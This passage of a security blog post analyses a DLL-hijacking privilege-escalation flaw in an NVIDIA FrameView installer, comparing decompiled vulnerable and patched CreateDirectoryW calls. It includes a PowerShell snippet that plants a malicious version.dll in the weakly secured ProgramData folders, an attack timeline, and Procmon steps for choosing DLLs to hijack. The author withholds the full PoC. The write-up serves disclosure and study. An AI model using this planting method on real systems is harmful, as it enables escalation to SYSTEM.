  <span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">ppppWVar5</span> <span class="o">+</span> <span class="p">(</span><span class="n">uVar12</span> <span class="o">+</span> <span class="mi">10</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x73</span><span class="p">;</span>     <span class="c1">// "s"</span>
  <span class="c1">// This creates: \MessageBus</span>
  
  <span class="n">ppppWVar6</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">local_a0</span><span class="p">;</span>
  <span class="k">if</span> <span class="p">(</span><span class="mi">7</span> <span class="o">&lt;</span> <span class="n">uStack_88</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">ppppWVar6</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPCWSTR</span> <span class="o">***</span><span class="p">)</span><span class="n">local_a0</span><span class="p">;</span>
  <span class="p">}</span>
  
  <span class="c1">// [!!!!!!!] VULNERABILITY #2: MessageBus subdirectory with NULL security!</span>
  <span class="n">CreateDirectoryW</span><span class="p">((</span><span class="n">LPCWSTR</span><span class="p">)</span><span class="n">ppppWVar6</span><span class="p">,</span> <span class="p">(</span><span class="n">LPSECURITY_ATTRIBUTES</span><span class="p">)</span><span class="mh">0x0</span><span class="p">);</span>
  
  <span class="c1">// ... rest of function ...</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="string-construction-analysis">String Construction Analysis</h3>

<p>That weird byte-writing code deserves explanation:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="o">*</span><span class="p">(</span><span class="n">undefined4</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">ppppWVar5</span> <span class="o">+</span> <span class="p">(</span><span class="n">uVar12</span> <span class="o">+</span> <span class="mi">8</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x750062</span><span class="p">;</span>
<span class="o">*</span><span class="p">(</span><span class="n">undefined2</span> <span class="o">*</span><span class="p">)((</span><span class="n">longlong</span><span class="p">)</span><span class="n">ppppWVar5</span> <span class="o">+</span> <span class="p">(</span><span class="n">uVar12</span> <span class="o">+</span> <span class="mi">10</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span><span class="p">)</span> <span class="o">=</span> <span class="mh">0x73</span><span class="p">;</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This manually writes bytes to extend the string. The values <code class="language-plaintext highlighter-rouge">0x750062</code> and <code class="language-plaintext highlighter-rouge">0x73</code> correspond to the little-endian representation of wide characters <code class="language-plaintext highlighter-rouge">'b'</code>, <code class="language-plaintext highlighter-rouge">'u'</code>, <code class="language-plaintext highlighter-rouge">'s'</code> (forming the string <code class="language-plaintext highlighter-rouge">"bus"</code>). This appends <code class="language-plaintext highlighter-rouge">"bus"</code> to create the path <code class="language-plaintext highlighter-rouge">\\MessageBus</code>.</p>

<p><img src="/assets/img/posts/2025-10-09-cve-post/pasted-image-20251009134300.png" alt="String construction analysis" /> <em>Figure: Hex values showing “bus” construction</em></p>

<h3 id="what-this-means---more-attack-vectors">What This Means - More Attack Vectors!</h3>

<p>This finding means the insecure usage of <code class="language-plaintext highlighter-rouge">CreateDirectoryW()</code> opens <strong>another attack vector</strong> for injecting malicious DLLs, but this time in a different folder: <code class="language-plaintext highlighter-rouge">\\MessageBus</code>.</p>

<p>The vulnerable installer creates these directories with weak permissions:</p>

<ol>
  <li><code class="language-plaintext highlighter-rouge">C:\ProgramData\NVIDIA Corporation\FrameViewSDK</code> - vulnerable</li>
  <li><code class="language-plaintext highlighter-rouge">C:\ProgramData\NVIDIA Corporation\FrameViewSDK\MessageBus</code> - vulnerable</li>
</ol>

<h3 id="patched-version---proper-security">Patched Version - Proper Security</h3>

<p>In the patched version (FUN_1400253b0), the function takes a 4th parameter (just pointing this out, I believe it’s not relevant to the CVE) and correctly sets the security attributes:</p>

<p><img src="/assets/img/posts/2025-10-09-cve-post/pasted-image-20251009132529.png" alt="Patched function with security attributes" /> <em>Figure: Patched version with proper security initialization</em></p>

<p><strong>Patched version (FUN_1400253b0):</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
</pre></td><td class="rouge-code"><pre><span class="kt">void</span> <span class="nf">FUN_1400253b0</span><span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="n">param_1</span><span class="p">,</span> <span class="n">DWORD</span> <span class="o">*</span><span class="n">param_2</span><span class="p">,</span> <span class="n">byte</span> <span class="n">param_3</span><span class="p">,</span> <span class="n">undefined8</span> <span class="n">param_4</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">_SECURITY_ATTRIBUTES</span> <span class="n">local_390</span><span class="p">;</span>  <span class="c1">// Security attributes declared</span>
  <span class="n">PSID</span> <span class="n">local_378</span><span class="p">;</span>
  <span class="n">PSID</span> <span class="n">pvStack_370</span><span class="p">;</span>
  <span class="c1">// ... more security variables ...</span>
  
  <span class="c1">// Initialize security structures</span>
  <span class="n">FUN_14008aad0</span><span class="p">((</span><span class="n">undefined1</span> <span class="p">(</span><span class="o">*</span><span class="p">)</span> <span class="p">[</span><span class="mi">32</span><span class="p">])</span><span class="o">&amp;</span><span class="n">local_378</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x120</span><span class="p">);</span>
  <span class="n">local_378</span> <span class="o">=</span> <span class="p">(</span><span class="n">PSID</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
  <span class="n">pvStack_370</span> <span class="o">=</span> <span class="p">(</span><span class="n">PSID</span><span class="p">)</span><span class="mh">0x0</span><span class="p">;</span>
  <span class="c1">// ... more initialization ...</span>
  
  <span class="c1">// Build security attributes with proper ACL</span>
  <span class="n">uVar4</span> <span class="o">=</span> <span class="n">FUN_140006cf0</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_378</span><span class="p">,</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">local_390</span><span class="p">);</span>
  
  <span class="k">if</span> <span class="p">(</span><span class="n">uVar4</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>  <span class="c1">// Success</span>
    <span class="c1">// Build FrameViewSDK directory path</span>
    <span class="n">ppppWVar7</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">local_450</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="mi">7</span> <span class="o">&lt;</span> <span class="n">local_438</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">ppppWVar7</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPCWSTR</span> <span class="o">***</span><span class="p">)</span><span class="n">local_450</span><span class="p">;</span>
    <span class="p">}</span>
    
    <span class="c1">// SECURE: First CreateDirectoryW with proper security</span>
    <span class="n">CreateDirectoryW</span><span class="p">((</span><span class="n">LPCWSTR</span><span class="p">)</span><span class="n">ppppWVar7</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">local_390</span><span class="p">);</span>
    
    <span class="c1">// Build MessageBus subdirectory path</span>
    <span class="c1">// ... path construction code ...</span>
    
    <span class="n">ppppWVar7</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">local_3f0</span><span class="p">;</span>
    <span class="k">if</span> <span class="p">(</span><span class="mi">7</span> <span class="o">&lt;</span> <span class="n">uStack_3d8</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">ppppWVar7</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPCWSTR</span> <span class="o">***</span><span class="p">)</span><span class="n">local_480</span><span class="p">;</span>
    <span class="p">}</span>
    
    <span class="c1">// SECURE: Second CreateDirectoryW with SAME security attributes</span>
    <span class="n">CreateDirectoryW</span><span class="p">((</span><span class="n">LPCWSTR</span><span class="p">)</span><span class="n">ppppWVar7</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">local_390</span><span class="p">);</span>
  <span class="p">}</span>
  
  <span class="c1">// Cleanup security resources</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">local_378</span> <span class="o">!=</span> <span class="p">(</span><span class="n">PSID</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="n">FreeSid</span><span class="p">(</span><span class="n">local_378</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">pvStack_370</span> <span class="o">!=</span> <span class="p">(</span><span class="n">PSID</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="n">FreeSid</span><span class="p">(</span><span class="n">pvStack_370</span><span class="p">);</span>
  <span class="c1">// ... more cleanup ...</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The patched version initializes the security attributes ONCE and uses them for BOTH directory creation calls. This is good coding practice - reusable security policy.</p>

<h3 id="fvcontainer-executable-context">FvContainer Executable Context</h3>

<p>Looking at the vulnerable function, it’s creating directories for <strong>FvContainer</strong> (the FrameView Container process). The code builds paths to executables:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="n">FUN_14000a390</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_80</span><span class="p">,</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span><span class="s">L"</span><span class="se">\\</span><span class="s">FvContainer</span><span class="se">\\</span><span class="s">FvContainer.exe"</span><span class="p">,</span> <span class="p">...);</span>
<span class="c1">// or</span>
<span class="n">FUN_14000a390</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_80</span><span class="p">,</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span><span class="s">L"</span><span class="se">\\</span><span class="s">FvContainer</span><span class="se">\\</span><span class="s">FvContainer.System.exe"</span><span class="p">,</span> <span class="p">...);</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>There are at least TWO different executables that can be exploited:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">FvContainer.exe</code> (regular mode)</li>
  <li><code class="language-plaintext highlighter-rouge">FvContainer.System.exe</code> (system mode - likely runs as SYSTEM!)</li>
</ul>

<p>The code also builds command lines for plugin loading:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre><span class="n">FUN_14000a390</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_c0</span><span class="p">,</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span><span class="s">L" -d </span><span class="se">\"</span><span class="s">"</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
<span class="n">FUN_14000ac10</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_c0</span><span class="p">,</span> <span class="n">local_110</span><span class="p">);</span>  <span class="c1">// Adds plugin directory path</span>
<span class="n">FUN_14000a390</span><span class="p">(</span><span class="o">&amp;</span><span class="n">local_c0</span><span class="p">,</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)</span><span class="s">L"</span><span class="se">\\</span><span class="s">FvContainer</span><span class="se">\\</span><span class="s">plugins</span><span class="se">\"</span><span class="s"> "</span><span class="p">,</span> <span class="p">...);</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>When <code class="language-plaintext highlighter-rouge">FvContainer.exe</code> or <code class="language-plaintext highlighter-rouge">FvContainer.System.exe</code> runs:</p>

<ul>
  <li>It loads DLLs from the application directory</li>
  <li>Application directory = <code class="language-plaintext highlighter-rouge">C:\ProgramData\NVIDIA Corporation\FrameViewSDK\</code></li>
  <li>Finds attacker’s malicious DLL (Windows searches application dir FIRST)</li>
  <li>Executes with elevated privileges (SYSTEM if it’s the .System.exe version)</li>
</ul>

<h3 id="messagebus-directory---ipc-attack-vector">MessageBus Directory - IPC Attack Vector</h3>

<p>The MessageBus subdirectory suggests <strong>inter-process communication</strong>. Looking at the code building <code class="language-plaintext highlighter-rouge">\MessageBus</code>, this is likely used for IPC between different FrameView components. Processes might load plugins or DLLs from the MessageBus directory to communicate. Perfect DLL hijacking target!</p>

<h3 id="real-attack-scenario">Real Attack Scenario</h3>

<p><strong>Step 1: Attacker plants malicious DLL</strong></p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="c"># Vulnerable directories created with weak permissions:</span><span class="w">
</span><span class="nv">$targets</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">@(</span><span class="w">
    </span><span class="s2">"C:\ProgramData\NVIDIA Corporation\FrameView"</span><span class="p">,</span><span class="w">
    </span><span class="s2">"C:\ProgramData\NVIDIA Corporation\FrameViewSDK"</span><span class="p">,</span><span class="w">
    </span><span class="s2">"C:\ProgramData\NVIDIA Corporation\FrameViewSDK\MessageBus"</span><span class="w">
</span><span class="p">)</span><span class="w">

</span><span class="kr">foreach</span><span class="w"> </span><span class="p">(</span><span class="nv">$dir</span><span class="w"> </span><span class="kr">in</span><span class="w"> </span><span class="nv">$targets</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
    </span><span class="kr">if</span><span class="w"> </span><span class="p">(</span><span class="n">Test-Path</span><span class="w"> </span><span class="nv">$dir</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w">
        </span><span class="c"># Plant malicious version.dll in each location</span><span class="w">
        </span><span class="n">Copy-Item</span><span class="w"> </span><span class="s2">"evil.dll"</span><span class="w"> </span><span class="s2">"</span><span class="nv">$dir</span><span class="s2">\version.dll"</span><span class="w">
        </span><span class="n">Write-Host</span><span class="w"> </span><span class="s2">"[+] Planted in: </span><span class="nv">$dir</span><span class="s2">"</span><span class="w">
    </span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Step 2: FvContainer.exe launches</strong></p>

<p>When the executable runs:</p>

<ul>
  <li>Loads DLLs from application directory</li>
  <li>Finds attacker’s malicious DLL first (Windows DLL search order)</li>
  <li>Executes malicious code with elevated privileges</li>
</ul>

<p><strong>Step 3: Multiple processes = Multiple exploit chances</strong></p>

<p>Conditional execution means different modes:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre><span class="k">if</span> <span class="p">(</span><span class="n">param_3</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">pwVar11</span> <span class="o">=</span> <span class="s">L"</span><span class="se">\\</span><span class="s">FvContainer</span><span class="se">\\</span><span class="s">FvContainer.System.exe"</span><span class="p">;</span>  <span class="c1">// System service</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
  <span class="n">pwVar11</span> <span class="o">=</span> <span class="s">L"</span><span class="se">\\</span><span class="s">FvContainer</span><span class="se">\\</span><span class="s">FvContainer.exe"</span><span class="p">;</span>          <span class="c1">// Normal mode</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>More executables = more opportunities to exploit.</p>

<hr />

<h2 id="third-reference---completing-the-picture">Third Reference - Completing the Picture</h2>

<p>The cool thing is that by analyzing these two functions, we also examined the <strong>3rd reference</strong> that Ghidra found, since that address is inside one of the functions we already looked at!</p>

<p><img src="/assets/img/posts/2025-10-09-cve-post/pasted-image-20251009135218.png" alt="Third reference location" /> <em>Figure: Third CreateDirectoryW reference</em></p>

<p>Version Tracking confirmation:</p>

<p><img src="/assets/img/posts/2025-10-09-cve-post/pasted-image-20251009140455.png" alt="Version tracking confirmation" /> <em>Figure: Ghidra Version Tracking results</em></p>

<hr />

<h2 id="summary-of-findings">Summary of Findings</h2>

<h3 id="vulnerability-count">Vulnerability Count</h3>

<p>Total <code class="language-plaintext highlighter-rouge">CreateDirectoryW()</code> calls analyzed: <strong>3 calls</strong> (across 2 functions)</p>

<ul>
  <li>Function 1: 1 vulnerable call</li>
  <li>Function 2: 2 vulnerable calls (same function!)</li>
</ul>

<p>All <strong>3 calls</strong> in the vulnerable version use NULL security attributes. All <strong>3 calls</strong> in the patched version use proper security attributes.</p>

<h3 id="affected-directories">Affected Directories</h3>

<table>
  <thead>
    <tr>
      <th>Directory</th>
      <th>Permissions (Vulnerable)</th>
      <th>Attack Vector</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">C:\ProgramData\NVIDIA Corporation\FrameView</code></td>
      <td>Inherited (weak)</td>
      <td>DLL hijacking</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">C:\ProgramData\NVIDIA Corporation\FrameViewSDK</code></td>
      <td>Inherited (weak)</td>
      <td>DLL hijacking</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">C:\ProgramData\NVIDIA Corporation\FrameViewSDK\MessageBus</code></td>
      <td>Inherited (weak)</td>
      <td>IPC/Plugin DLL hijacking</td>
    </tr>
  </tbody>
</table>

<h3 id="exploitable-processes">Exploitable Processes</h3>

<table>
  <thead>
    <tr>
      <th>Process</th>
      <th>Privilege Level</th>
      <th>Loads From</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">nvfvsdksvc_x64.exe</code></td>
      <td>SYSTEM</td>
      <td>FrameView directories</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">FvContainer.exe</code></td>
      <td>User/Admin</td>
      <td>FrameViewSDK directories</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">FvContainer.System.exe</code></td>
      <td>SYSTEM</td>
      <td>FrameViewSDK directories</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="how-the-attack-works">How the Attack Works</h2>

<h3 id="no-race-condition-required">No Race Condition Required</h3>

<p>I initially thought this might be a race condition, but it’s actually much simpler (of course, if someone thinks otherwise, please write a comment and let me fix the article :). The attacker has a <strong>wide window</strong> of opportunity:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>Time 0:   NVIDIA installer starts
Time 0.1s: CreateDirectoryW() creates vulnerable directories
Time 0.2s: Attacker's monitoring script detects new directories
Time 0.3s: Attacker plants malicious DLL(s)
Time 30s:  Installation continues (WIDE WINDOW - no race!)
Time 45s:  Service starts or admin launches FrameView
Time 45s:  Malicious DLL loaded by privileged process
Time 45s:  Code execution achieved as SYSTEM
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The key insight: The attacker can plant the DLL <strong>immediately when the folder is created</strong> and doesn’t need to wait for a specific time. Since Windows searches the application directory FIRST when loading DLLs, the malicious DLL will be found before legitimate ones in System32.</p>

<h3 id="attack-complexity-low">Attack Complexity: LOW</h3>

<ul>
  <li>No narrow timing window</li>
  <li>No sophisticated techniques needed</li>
  <li>Simple filesystem monitoring</li>
  <li>Standard user account sufficient</li>
  <li>High success rate</li>
</ul>

<h3 id="finding-target-dlls">Finding Target DLLs</h3>

<p>Attackers can identify which DLL to hijack using:</p>

<p><strong>Method 1: Static Analysis (Ghidra)</strong></p>

<ol>
  <li>Open <code class="language-plaintext highlighter-rouge">nvfvsdksvc_x64.exe</code> in Ghidra</li>
  <li>Search for <code class="language-plaintext highlighter-rouge">LoadLibrary()</code> / <code class="language-plaintext highlighter-rouge">LoadLibraryEx()</code> calls</li>
  <li>Find strings referencing DLL names</li>
  <li>Identify DLLs loaded from ProgramData</li>
</ol>

<p><strong>Method 2: Dynamic Analysis (Easier)</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>Use Process Monitor (Procmon):
1. Filter: Process = nvfvsdksvc_x64.exe
2. Filter: Operation = CreateFile
3. Filter: Path contains .dll
4. Filter: Result = NAME NOT FOUND

Output shows DLLs the process tries to load but can't find.
Plant a malicious DLL with that name!
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Common Target DLLs:</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">version.dll</code> - version checking</li>
  <li><code class="language-plaintext highlighter-rouge">dwmapi.dll</code> - desktop window manager</li>
  <li><code class="language-plaintext highlighter-rouge">profapi.dll</code> - user profiles</li>
  <li><code class="language-plaintext highlighter-rouge">cryptbase.dll</code> - cryptography</li>
  <li>Application-specific: <code class="language-plaintext highlighter-rouge">nvfvconfig.dll</code>, <code class="language-plaintext highlighter-rouge">nvfvhelper.dll</code></li>
</ul>

<hr />

<h2 id="comparison-vulnerable-vs-patched">Comparison: Vulnerable vs Patched</h2>

<h3 id="function-level-changes">Function-Level Changes</h3>

<table>
  <thead>
    <tr>
      <th>Function</th>
      <th>Vulnerable</th>
      <th>Patched</th>
      <th>Changes</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">FUN_140006b10</code> → <code class="language-plaintext highlighter-rouge">FUN_140008130</code></td>
      <td>NULL security</td>
      <td>Proper ACL</td>
      <td>Added security structures, ACL init</td>
    </tr>
    <tr>
      <td><code class="language-plaintext highlighter-rouge">FUN_1400203e0</code> → <code class="language-plaintext highlighter-rouge">FUN_1400253b0</code></td>
      <td>NULL security (2x)</td>
      <td>Proper ACL (2x)</td>
      <td>Added shared security structure</td>
    </tr>
  </tbody>
</table>

<hr />

<h2 id="finding-hijackable-dlls-using-ghidra">Finding Hijackable DLLs Using Ghidra</h2>

<p>Before crafting our PoC exploit, I needed to analyze what DLLs are used by the installer and service to identify the best hijacking targets. This section documents the systematic approach to finding DLL hijacking opportunities.</p>

<p>Quick note: in this article I will not publish the working exploit/PoC since I am still working on it and I felt that the article publication was more important from ethical standpoint. Soon when I am done with the PoC I will reference a link here, to it in another post.</p>

<p>Despite that since later in the article I explain which DLLs are valid for hijacking, <code class="language-plaintext highlighter-rouge">version.dll</code> I believe would be a good target, since it is a common .dll and also if one is interested for more advanced fooling around, a more advanced technique could be applied (relatively easy) when hijacking such as <strong>DLL Proxying</strong>, as often DLL Hijacks cause a binary break and tools like <a href="https://github.com/Accenture/Spartacus">Spartacus</a> take care of this. It is able restore the native flow of the DLL execution. There are great explanations for this out there.</p>

<h3 id="methodology-overview">Methodology Overview</h3>

<p>The process involves:</p>

<ol>
  <li><strong>Static analysis</strong> - Using Ghidra to find all DLL references</li>
  <li><strong>String search</strong> - Locating <code class="language-plaintext highlighter-rouge">.dll</code> strings in the binary</li>
  <li><strong>Import table analysis</strong> - Distinguishing static vs dynamic loads</li>
  <li><strong>Prioritization</strong> - Identifying the most exploitable targets</li>
</ol>

<h3 id="step-1-searching-for-dll-strings">Step 1: Searching for DLL Strings</h3>

<p>First, I used Ghidra’s string search to find all DLL references in <code class="language-plaintext highlighter-rouge">nvfvsdksvc_x64.exe</code>.</p>

<p><strong>Ghidra Steps:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>1. Search → For Strings
2. Minimum Length: 5
3. Click "Search"
4. In "Defined Strings" window, Filter: .dll
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Going into the Symbol Tree and examining the imports, I saw quite many functions. So I decided to Search for Strings and filter out only the <code class="language-plaintext highlighter-rouge">.dll</code> extensions.</p>

<p><img src="/assets/img/posts/2025-10-09-cve-post/pasted-image-20251009180820.png" alt="DLL string search results" /> <em>Figure: DLL strings found in binary</em></p>

<h3 id="step-2-analyzing-dll-load-patterns">Step 2: Analyzing DLL Load Patterns</h3>

<p>Next, I examined how these DLLs are loaded by looking at the decompiled code around each DLL string reference.</p>

<h4 id="example-1-drvstoredll">Example 1: drvstore.dll</h4>

<p>Navigating to the reference for <code class="language-plaintext highlighter-rouge">drvstore.dll</code>: <strong>Decompiled code shows:</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</pre></td><td class="rouge-code"><pre><span class="k">if</span> <span class="p">((</span><span class="n">DAT_1400b5d60</span> <span class="o">!=</span> <span class="p">(</span><span class="n">HMODULE</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="o">||</span> 
    <span class="p">(</span><span class="n">pVar4</span> <span class="o">=</span> <span class="n">GetLastError</span><span class="p">(),</span> <span class="n">pVar4</span> <span class="o">==</span> <span class="p">(</span><span class="n">LPWSTR</span><span class="p">)</span><span class="mh">0x7e</span><span class="p">))</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">param_1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">lpLibFileName</span> <span class="o">=</span> <span class="s">L"drvstore.dll"</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
  <span class="n">UVar3</span> <span class="o">=</span> <span class="n">GetSystemDirectoryW</span><span class="p">((</span><span class="n">LPWSTR</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">pWVar6</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPWSTR</span><span class="p">)</span><span class="n">LocalAlloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">,(</span><span class="n">ulonglong</span><span class="p">)(</span><span class="n">uVar3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">2</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">pWVar6</span> <span class="o">!=</span> <span class="p">(</span><span class="n">LPWSTR</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">UVar3</span> <span class="o">=</span> <span class="n">GetSystemDirectoryW</span><span class="p">(</span><span class="n">pWVar6</span><span class="p">,(</span><span class="n">ulonglong</span><span class="p">)(</span><span class="n">UVar3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">2</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">((</span><span class="n">pWVar6</span><span class="p">[</span><span class="n">UVar3</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">!=</span> <span class="sc">L'\\'</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">pWVar6</span><span class="p">[</span><span class="n">UVar3</span><span class="p">]</span> <span class="o">=</span> <span class="sc">L'\\'</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>
  
  <span class="n">pwVar10</span> <span class="o">=</span> <span class="s">L"drvstore.dll"</span><span class="p">;</span>
  <span class="n">pWVar11</span> <span class="o">=</span> <span class="n">pWVar6</span><span class="p">;</span>
  <span class="k">do</span> <span class="p">{</span>
    <span class="n">iVar2</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">pwVar11</span><span class="p">;</span>
    <span class="n">uVar1</span> <span class="o">=</span> <span class="n">iVar2</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
    <span class="n">pWVar11</span> <span class="o">=</span> <span class="n">pwVar11</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
  <span class="p">}</span> <span class="k">while</span> <span class="p">(</span><span class="n">uVar1</span> <span class="o">&lt;</span> <span class="mh">0xc</span><span class="p">);</span>
  
  <span class="n">DAT_1400b5d60</span> <span class="o">=</span> <span class="n">LoadLibraryExW</span><span class="p">(</span><span class="n">pwVar6</span><span class="p">,(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="n">local_158</span><span class="p">);</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Key observation:</strong> The code builds a path to <code class="language-plaintext highlighter-rouge">drvstore.dll</code> and uses <code class="language-plaintext highlighter-rouge">LoadLibraryExW</code>. This is <strong>dynamically loaded</strong>, making it a potential hijacking target.</p>

<h4 id="example-2-devobjdll-ldpdll-reference-in-image">Example 2: devobj.dll (ldp.dll reference in image)</h4>

<p><strong>Decompiled code shows:</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
